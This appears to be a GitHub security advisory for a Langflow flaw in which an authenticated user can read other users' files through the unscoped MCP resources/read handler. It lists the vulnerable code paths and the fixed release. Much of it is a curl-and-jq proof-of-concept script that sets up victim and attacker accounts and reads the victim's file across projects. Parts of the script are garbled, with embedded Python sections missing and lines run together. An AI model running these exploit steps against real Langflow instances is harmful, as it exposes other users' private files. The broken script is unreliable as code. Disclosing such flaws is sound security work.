GitHub Advisoryadvisory · PyPI
GHSA-4hmc-cfm3-w43c Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
HIGH
Official page ↗
- Aliases
- CVE-2026-105699
- Ecosystem
- PyPI
- Packages
- langflow
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-639
- Reviewed
- 2026-10-07
Affected packages
• PyPI langflow: >= 1.6.8, < 1.9.1 → fixed in 1.9.1
Description
Summary
Langflow's project-scoped MCP transport authenticates the caller for the `project_id` in the connection URL, but the subsequent `resources/read` operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.
This is a cross-user authorization bypass (`userA -> userB`) that allows arbitrary read access to files stored under other users' flow namespaces.
Details
Verified against local checkout:
• Repository: `langflow-ai/langflow`
• Verified on release tag: `v1.8.3`
• Commit: `08bf98404cfd7737fde57a2588785766cdf1b42e`
• Earliest stable release known to contain the vulnerable code path: `v1.6.8`
Relevant code path:
1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`
`verify_project_auth_conditional()` authenticates the caller and checks access only to the `project_id` in the MCP transport URL.
2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`
The project-scoped MCP server registers `read_resource()` and forwards the attacker-controlled URI directly to `handle_read_resource(uri=uri)`.
3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`
`handle_read_resource()` parses the last two URI path segments as `flow_id` and `filename`, then directly calls:
```python
storage_service.get_file(flow_id=flow_id, file_name=filename)
```
No check ties the supplied `flow_id` back to the authenticated user or the current project.
4. `src/backend/base/langflow/services/storage/local.py:141-149`
`src/backend/base/langflow/services/storage/s3.py:200-217`
The storage layer performs a raw namespace read and is not authorization-aware.
The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.
This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:
• `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`
`handle_list_resources(project_id=None)` lists files for all flows.
• `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`
`handle_list_tools(project_id=None)` queries all flows and includes flow IDs in tool metadata.
That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.
PoC
Preconditions:
• Langflow is running locally with authentication enabled.
• Two separate users exist on the same instance.
• The victim has a flow with an uploaded file.
• The attacker has access to any project they own.
Verify the issue locally by starting Langflow with:
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -a
source .env.verify
set +a
export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"
uv run python - /dev/null
curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null
export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)
export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)
export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)
export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)
printf 'cross-project-read-proof\n' > /tmp/secret.txt
export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)
export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)
export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)
export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)
export MCP_READ_OUTPUT=$(
uv run python - $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
```
Expected output:
```text
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
```
Observed server logs during verification:
```text
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project//streamable 200 OK
POST /api/v1/mcp/project//streamable 202 Accepted
POST /api/v1/mcp/project//streamable 200 OK
```
Impact
This is an authenticated IDOR / arbitrary file read issue in the MCP layer.
Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to `resources/read`.
Practical impact includes:
• Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts
• Unauth…
Related
Alias · CVE (1)
- CVE-2026-105699 Langflow is a tool for building and deploying AI-powered agents and workflows. vulnerability
Weakness · CWE (1)
- CWE-639 Authorization Bypass Through User-Controlled Key weakness
References
- https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c web
- https://nvd.nist.gov/vuln/detail/CVE-2026-105699 advisory
- https://github.com/langflow-ai/langflow/pull/12818 web
- https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa web
- https://github.com/langflow-ai/langflow/commit/f0fd436fe9829192ee550e6cb46961a01dd37032 web
- https://github.com/langflow-ai/langflow package
- https://github.com/langflow-ai/langflow/releases/tag/v1.9.1 web